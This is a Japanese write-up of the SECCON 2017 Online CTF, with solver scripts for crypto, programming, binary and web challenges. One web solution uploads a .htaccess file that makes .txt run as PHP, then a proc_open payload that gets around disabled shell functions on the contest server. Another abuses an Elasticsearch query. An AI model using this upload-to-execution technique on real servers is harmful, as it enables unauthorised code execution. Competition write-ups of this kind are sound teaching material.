LoginSignup
22
9

More than 5 years have passed since last update.

SECCON 2017 Online CTF Write-up

Posted at

SECCON 2017

チームsuperflipは、13問、2500点、58位。日本チームの中では14位なので、正式発表はまだだけど国内決勝大会には行けそう。

Vigenere3d Crypto 100

Vigenere暗号の2次元の表を3次元にした版。

平文pを鍵をk1k2とすると暗号文ci番目の文字はs[s.find(p[i])+s.find(k1[i])+s.find(k2[i])]となる。この問題ではk1=k2[::-1]であることと、暗号文の一部が分かっていることからs.find(k[i])+s.find(k[::-1][i])の値が推測できる。

s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789abcdefghijklmnopqrstuvwxyz_{}"
P = "SECCON{**************************}"
C = "POR4dnyTLHBfwbxAAZhe}}ocZR3Cxcftw9"
K = []

for i in range(7):
    K += [(s.find(C[i])-s.find(P[i])) % len(s)]

ans = ""
for i in range(len(C)):
    ans += s[(s.find(C[i])-K[i%14 if i%14<7 else 13-i%14]) % len(s)]
print ans
SECCON{Welc0me_to_SECCON_CTF_2017}

Run me! Programming 100

実行にとても時間がかかるPythonスクリプトの実行結果を求めよという問題。メモ化すれば良い。フィボナッチ数列を再帰を使わずに求めても良い。

import sys
sys.setrecursionlimit(99999)
memo = {}
def f(n):
    if n not in memo:
        memo[n] = n if n < 2 else f(n-2) + f(n-1)
    return memo[n]
print "SECCON{" + str(f(11011))[:32] + "}"
SECCON{65076140832331717667772761541872}

putchar music Programming 100

Linuxで実行すると、putcharで曲が流れるらしい……が流れなかった。double x=pow(1.05946309435931,p[i]/6+13)を見ると、p[i]/6が音階のようなので、埃を被っていた電子ピアノで弾いてみたけど良く分からなかった。ヤマハの楽曲検索で探した。ただコンパイルして実行するだけだと問題にならないし、何かエスケープシーケンスを先に出力するとかそういう問題だったのかもしれない。

SECCON{STAR_WARS}

Qubic Rube Programming 300

WebGLでQRコードが描かれたルービックキューブが回っている。キューブの切れ目とQRコードのセルの切れ目がずれているので、真面目に解かなくても境目が合うものを貼り合わせれば良い。

image.png

import urllib
from PIL import Image

def solve(id):
  image = []
  for a in "LRUDFB":
    img = urllib.urlopen("http://qubicrube.pwn.seccon.jp:33654/images/"+id+"_"+a+".png").read()
    name = "download\\"+id+"_"+a+".png"
    open(name, "wb").write(img)
    t = Image.open(name)
    image += [[t, t.transpose(Image.ROTATE_90), t.transpose(Image.ROTATE_180), t.transpose(Image.ROTATE_270)]]
  for bb in "LRUDFB":
    base = Image.open("download\\"+id+"_"+bb+".png")
    for pos in range(8):
      for i in range(6):
        for j in range(4):
          ok = True
          for k in range(82):
            a = image[i][j].getpixel((
              [82,164,82,81,0,164,164,0][pos] + [1,0,1,0,1,1,1,1][pos]*k,
              [81,82,164,82,81,81,164,164][pos] + [0,1,0,1,0,0,0,0][pos]*k))
            b = base.getpixel((
              [82,163,82,82,0,164,164,0][pos] + [1,0,1,0,1,1,1,1][pos]*k,
              [82,82,163,82,82,82,163,163][pos] + [0,1,0,1,0,0,0,0][pos]*k))
            if a!=b:
              ok = False
          if ok:
            ox = [82,164,82,0,0,164,164,0][pos]
            oy = [0,82,164,82,0,0,164,164][pos]
            for y in range(82):
              for x in range(82):
                base.putpixel((ox+x,oy+y), image[i][j].getpixel((ox+x,oy+y)))
    base.save(id[:2]+"_"+bb+".png")

import subprocess

id = "01000000000000000000"
while True:
  print id[:2]
  solve(id)
  nextid = ""
  for a in "LRUDFB":
    res = subprocess.check_output((r"c:\Program Files (x86)\ZBar\bin\zbarimg.exe", "-q", id[:2]+"_"+a+".png"))
    print a, res[:-2]
    if "http" in res:
      nextid = res[len("QR-Code:http://qubicrube.pwn.seccon.jp:33654/"):-2]
  if nextid=="":
    break
  id = nextid

最初はファイル名が_B.pngの面が黄色でそこに次のURLが書かれていたけど、ステージが進むと色が変わったり場所が変わったりしたので、6面全部求めている。

SHA-1 is dead Crypto 100

SHA1が同じで、中身が異なり、ファイルサイズが2017kB超過2018kB未満のファイルを2個投稿せよという問題。Googleの計算資源が無いとSHA1の衝突なんて無理でしょ……と思ったが、Googleの計算したファイルの末尾に適当なデータを付ければ良い。一旦2個のファイルのSHA1が衝突したら、後ろに同じデータを付けてもSHA1は衝突したまま。

最初に2017001バイトのファイルを投稿したら弾かれた。1000はkで、1024はKKiで表記してほしい……と書きながら問題サイトを見に行ったら、Kiになっていた :thumbsup:

SECCON{SHA-1_1995-2017?}

Powerful_Shell Binary 300

PowerShellのスクリプト。実行するためにはポリシーを変更する必要がある

数段階で難読化されている。最後のほうで復号したスクリプトを実行するので、取り出して解析していけば良い。

途中で出てくるキーボードは本当に音が出てすごい。hhjhhjhjkjhjhfで「さくらさくら」を奏でると通る。

image.png

SECCON{P0wEr$H311}

Log search Web 100

Elasticsearchのクエリで問題ページ自体のアクセスログが検索できる。

Query String Queryのコマンドが通る。とはいえスクリプトを実行したりはできず、検索ができるだけ。
何をすれば良いのかわからなかったけど、/flag-HOKIFh6eKr0rWUkYK8CqZl9Fbxn4xxvy.txtみたいなURLに定期的にアクセスがあることに気が付いた。参加者がこんなことをする意味は無いので、出題者だろう。ほとんどが404を返しているけど、このようなURLで200のものを探した。

request:flag AND response:200 AND timestamp:"09/Dec/2017:03"

先頭に/flagがあるという条件で絞れれば良いのだけど、良く分からなかったので、とりあえず時刻で絞った。

SECCON{N0SQL_1njection_for_Elasticsearch!}

printf machine Binary 400

どこかで見た問題だw 書式指定文字列を使ってVMを実装している。

どこかで見た問題よりもprintfの引数は簡単で、32個の1バイト変数の配列aを用意して、printfの1-32番目の引数に書き込み用として、33-64番目の変数に読み込み用として渡している。(1-indexで)a[17]からa[32]に入力した文字列を書き込んで、実行し、a[16]0になれば正解。

書式指定文字列は読みづらいことこの上ないので、整形。

import re

for l in open("default.fs"):
  if l[-1]=="\n":
    l = l[:-1]
  m = re.match(r"^%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
  if m:
    print "a[%2s] = a[%2s]" % (m.group(2), int(m.group(1))-32)
  else:
    m = re.match(r"^%(\d+)\$hhn$", l)
    if m:
      print "a[%2s] = 0" % m.group(1)
    else:
      m = re.match(r"^%(\d+)\$hhn%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
      if m:
        print "a[%2s] = 0, a[%2s] = a[%2s]" % (m.group(1), m.group(3), int(m.group(2))-32)
      else:
        m = re.match(r"^%2\$\*(\d+)\$s%2\$\*(\d+)\$s%(\d+)\$hhn$", l)
        if m:
          if int(m.group(3)) == int(m.group(1))-32:
            print "a[%2s] += a[%2s]" % (m.group(3), int(m.group(2))-32)
          else:
            print "a[%2s] = a[%2s] + a[%2s]" % (m.group(3), int(m.group(1))-32, int(m.group(2))-32)
        else:
          m = re.match(r"^%2\$\*(\d+)\$s%2\$(\d+)s%(\d+)\$hhn$", l)
          if m:
            print "a[%2s] = a[%2s] + %s" % (m.group(3), int(m.group(1))-32, m.group(2))
          else:
            m = re.match(r"^%(\d+)\$s%(\d+)\$hhn$", l)
            if m:
              print "a[%2s] = strlen(a[%2s])" % (m.group(2), m.group(1))
            else:
              print l

読んでみると、16辺数の連立方程式が成り立つかどうかを判定していた。%1$s%5$hhna[5] = a[1]!=0になる。なるほど。

M = []
swap = []

for l in open("fs.txt"):
  if l[-1]=="\n":
    l = l[:-1]
  if l[:9]=="a[ 4] = a":
    s = int(l[-3:-1])
  if l[-8:]==" = a[ 4]":
    swap += [(s, int(l[2:4]))]
  if l=="a[ 3] = 0":
    M += [[]]
  if l[:10]=="a[ 4] = 0,":
    a = 1
    b = 0
  elif l=="a[ 9] += a[ 9]":
    a += a
  elif l=="a[ 4] += a[ 9]":
    b += a
  elif l=="a[ 3] += a[ 4]":
    print b,
    M[-1] += [b]
  elif l[:13]=="a[ 1] = a[ 3]":
    print l.split()[-1]
    M[-1] += [int(l.split()[-1])]

D = [0]*256
for i in range(256):
  for j in range(256):
    if i*j%256==1:
      D[i] = j

n = 16
for i in range(n):
  for j in range(i,n):
    if D[M[j][i]] != 0:
      break
  else:
    assert False
  M[i],M[j] = M[j],M[i]
  d = D[M[i][i]]
  for j in range(n+1):
    M[i][j] *= d
    M[i][j] %= 256
  for j in range(i+1,n):
    t = M[j][i]
    for k in range(n+1):
      M[j][k] -= M[i][k]*t
      M[j][k] %= 256
for i in range(n)[::-1]:
  for j in range(i):
    t = M[j][i]
    for k in range(n+1):
      M[j][k] -= M[i][k]*t
      M[j][k] %= 256

for m in M:
  print m

flag = [chr((-M[i][-1])%256) for i in range(n)]
print "".join(flag)

for s in swap[::-1]:
  flag[s[0]-17],flag[s[1]-17] = flag[s[1]-17],flag[s[0]-17]
print "".join(flag)

掃き出し法で解ける。最初に入力を並び替えているので、元に戻すと答えになる。どこかで見た問題と違って、ループが作れないのでチューリング完全ではない。

SECCON{Tur!n9-C0mpl3t3?}

Ps and Qs Crypto 200

RSAの公開鍵が2個と、暗号化したファイルが渡される。共通の素因数を持っていれば、ユークリッドの互除法で素因数が取り出せる。

NICTが共通の素数を持つ公開鍵を可視化するツールXPIAを作っていたけど、いったい何がどうなれば片方の素数だけ一致するのだろう?

openssl rsa -pubin -text < pub1.pub
openssl rsa -pubin -text < pub2.pub
import sys

sys.setrecursionlimit(10000)

n1 = 0xcfcfbbeea7df143a8ac208b1aa1d2f86545ac4cb588c94a3fb1c14ad91a4f0b936157c5a4b869c18a8b864f4726bf8fcdc020cb41042bac96784ab7d03f9374947efb0bc3d665831974340159ffc3db7c8e74b6390fda6eec30b81c6ff624e8d3f5b17bfb7a5c7ffd8ecf4e6518b393abefddd0faeba4308746ba63f8106b59d7e058943a00131a7d4e538c464b270577647edbc478cc1ce9585efe877305b3a7c2e7c44db5475eddadc345a2c90a946771cac0a454cdbcb461f2840e7613c83e9cecc94037fa09bb9daa3f180562c01df0be6c51f0c06e8f0e2d6e1a5e50d0a28c3881140770a9f45934146b7f359b939ce23f0fa507a6f4e454571430952003c20f1d97a67140b6e5fcbfb3b376e4e24969aeb1d489cfc72af4f15a4788a1aa97c89756d1d4d94aa47e7cd3a81aecb92448cc92c77d2ef576aa0dbc1350862accddaddbce80357f0cd5b854dd0f8c4627fe4b718b24ecfe11ed24c3be22f00643bbed4ee5e345af176e5b76d23a2f80e0ec6f34e5718c62a70fe5570c28b807b44f22eadebd9b5ff906f6a85be88c0c8f6e5f880a51f17f84db1c2eefea8af34040444ced1a37df0e4f5f72cc3f50b7e427c8c2d8b6186ead762f0c444b3ca3a0103ed12a93bce9cae7479a229ebbc0a648eaa6f97e5051a66eb09ebd7348e92f75f125ebdc367e2a7d1da7759d41fae2e2635bf4b7a7f91becab3ac7d05bd
n2 = 0xbb33cc7fcc8ecaf3bf9ed95c583792e1ec6b80ee875ec2064dbcf07595c8344923bf536524d4e0a75574c7798c73b197dd2b1b42054b1e49cb45fbf04e6f114cf8a365c3df3645524f778268038a3fa26802e9d1edbfbb5edfb5a0c375370d7f10f57dabbd4f771dad3632f01b9bce10489966ee882dab17a33b786aa5f73165a54051300b1df9280392a3ede9d3fc9c4d8a6a06351f6ef3598e8de2b39d3b19af64a1716cd15826c3f24cb13deb722c3a03ef1d2be2d0a5a6e210ff5d018367be3bf99ea26ba006e5164a4dd55aabcd449de5ce1864825dc160e50d509eb0e6fe723ef182681eddb94084b83ec9e2e943e87cb87509ab0fd9b1ca22c1ceaff39fcacf6729fc0e0578670d87d7f0f9ccbe09cb3e12ceb895572a9979d10bfdbfafa260568d8db184be12b3e3193e07729ce3c1d9cd8283ed6983a06388036a0a70294f23392944778280e7de9f60163a8150e30ff4a4ea02792cbe8305baa2e99afe51e17dafc56be0d384147bcd38e9d12934ec712622217773a4b3851a9b0c6c7c3e01f6111a1e1a557f4e2ae4a247ce9b75ccccb1819825f3054aa1c055bd3e2340093ae2ef1d0fa5a176825efdf79507027f5104080009142f0d43e2f10cfad220813bbb9014d4f4325edac538fb5e82b753e2ad3b24607d7380aa64fcb98b59ea8b5a736b809383248cece0b17255ea559e90127f778af6d7e8a66dad91

def gcd(a, b):
  if b==0:
    return a
  else:
    return gcd(b, a%b)
p = gcd(n1,n2)
q1 = n1/p
q2 = n2/p

def exgcd(x,y):
    r0,r1 = x,y
    a0,a1 = 1,0
    b0,b1 = 0,1
    while r1>0:
        q1 = r0/r1
        r2 = r0%r1
        a2 = a0-q1*a1
        b2 = b0-q1*b1
        r0,r1 = r1,r2
        a0,a1 = a1,a2
        b0,b1 = b1,b2
    return a0,b0,r0

def int2bin(d):
    t = "%x"%d
    return (t if len(t)%2==0 else "0"+t).decode("hex")

def enclen(l):
    if l<0x80:
        return chr(l)
    else:
        t = int2bin(l)
        return chr(0x80+len(t))+t

def encint(n):
    t = int2bin(n)
    return "\x02"+enclen(len(t))+t

def make(p,q):
    n = p*q
    e = 65537
    d = exgcd(e,(p-1)*(q-1))[0] + (p-1)*(q-1)
    exp1 = d % (p-1)
    exp2 = d % (q-1)
    coef = pow(q,p-2,p)

    t = "".join(map(encint,[0,n,e,d,p,q,exp1,exp2,coef]))
    t = "\x30"+enclen(len(t))+t

    print "-----BEGIN RSA PRIVATE KEY-----"
    print t.encode("base64")[:-1]
    print "-----END RSA PRIVATE KEY-----"

make(p,q1)
make(p,q2)
openssl rsautl -decrypt -inkey priv1.priv < cipher
SECCON{1234567890ABCDEF}

JPEG file Binary 100

どこか1ビットが反転したJPEGファイル。なんかDCT逆変換が掛かっていないような絵なので、ヘッダじゃないかなと当たりをつけてSOS (0xFFDA)のあたりを反転させたファイルを作ったら、フラグが読めるものが出てきた。

data = open("tktk.jpg", "rb").read()
for i in range(0x263*8,0x273*8):
  open("fix\\%d.jpg"%i, "wb").write(data[:i/8]+chr(ord(data[i/8])^1<<(i%8))+data[i/8+1:])
SECCON{jp3g_study}

Simon and Speck Block Ciphers Crypto 100

こういう暗号があるらしい。論文と、平文と暗号文と一部が伏せられた鍵(フラグ)。伏せられている部分が4文字だけなので総当たりをすれば良い。綺麗な実装を公開してくれている人がいるので、自分で実装する必要はない。エンディアンを逆にする必要があった。

#include <stdio.h>
#include <stdint.h>
#include "Simon.h"
#include <string.h>

int main(void)
{
    Simon_Cipher simon;

    uint8_t key[] = {0x53, 0x45, 0x43, 0x43, 0x4f, 0x4e, 0x7b, 0x00, 0x00, 0x00, 0x00, 0x7d};
    uint8_t plain[] = {0x6d, 0x56, 0x4d, 0x37, 0x42, 0x6e, 0x6e, 0x71};
    uint8_t cipher[] = {0xbb, 0x5d, 0x12, 0xba, 0x42, 0x28, 0x34, 0xb5};

    for (int i=0; i<4; i++) {
        uint8_t t = plain[i];
        plain[i] = plain[7-i];
        plain[7-i] = t;
        t = cipher[i];
        cipher[i] = cipher[7-i];
        cipher[7-i] = t;
    }
    for (int i=0; i<6; i++) {
        uint8_t t = key[i];
        key[i] = key[11-i];
        key[11-i] = t;
    }

    for (int k0=0x20; k0<0x80; k0++, printf("%02x\n", k0))
    for (int k1=0x20; k1<0x80; k1++)
    for (int k2=0x20; k2<0x80; k2++)
    for (int k3=0x20; k3<0x80; k3++)
    {
        key[1] = k0;
        key[2] = k1;
        key[3] = k2;
        key[4] = k3;
        Simon_Init(&simon, Simon_96_64, ECB, key, NULL, NULL);
        uint8_t c[8];
        Simon_Encrypt(simon, &plain, &c);
        if (memcmp(cipher, c, 8) == 0) {
            printf("%.12s\n", key);
            break;
        }
    }

    return ;
}
SECCON{6Pz0}

automatic_door Web 500

ファイルをアップロードしたり消したりできるウェブアプリ。シェルを取って/flag_xを実行せよという指示がある。

アップロードしたファイルはファイル名がそのままで、Apacheからもアクセスできる。.phpをアップロードしようとしたら、phを含むファイルは弾かれる。まずは、.htaccessをアップロードして、.txtをPHPとして実行できるようにする。

AddType application/x-httpd-php .txt

あとはsystem('/flag_x')を実行するだけだと思ったが、これが動かなくて悩んだ。今どきPHPのセーフモードなんてないだろうし、ファイルに実行権限は付いてるし、execとかpassthruを試してもダメ。実行できないならファイルをダウンロードしようとしたけど、権限が--x--x--xで、実行するしかないらしい。

php.iniを見ると、pcntl_*exec,passthru,popen,shell_exec,systemが並んでいた。なるほど。他にプログラムを実行できる関数が無いかとググるとproc_openがあった。

<?php 
$process = proc_open('/flag_x', array(1=>array("pipe","w")), $pipes);
echo stream_get_contents($pipes[1]);

を拡張子を.txtにしてアップロードして実行。

SECCON{f6c085facd0897b47f5f1d7687030ae7}

Thank you for playing! Thank you! 100

面白かった。ガチっぽいpwnがいっぱいあってガチ勢も満足なのでは(私はpwnは1問も解けなかったけど)。

SECCON{We have done all the challenges. Enjoy last 12 hours. Thank you!}
22
9
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
22
9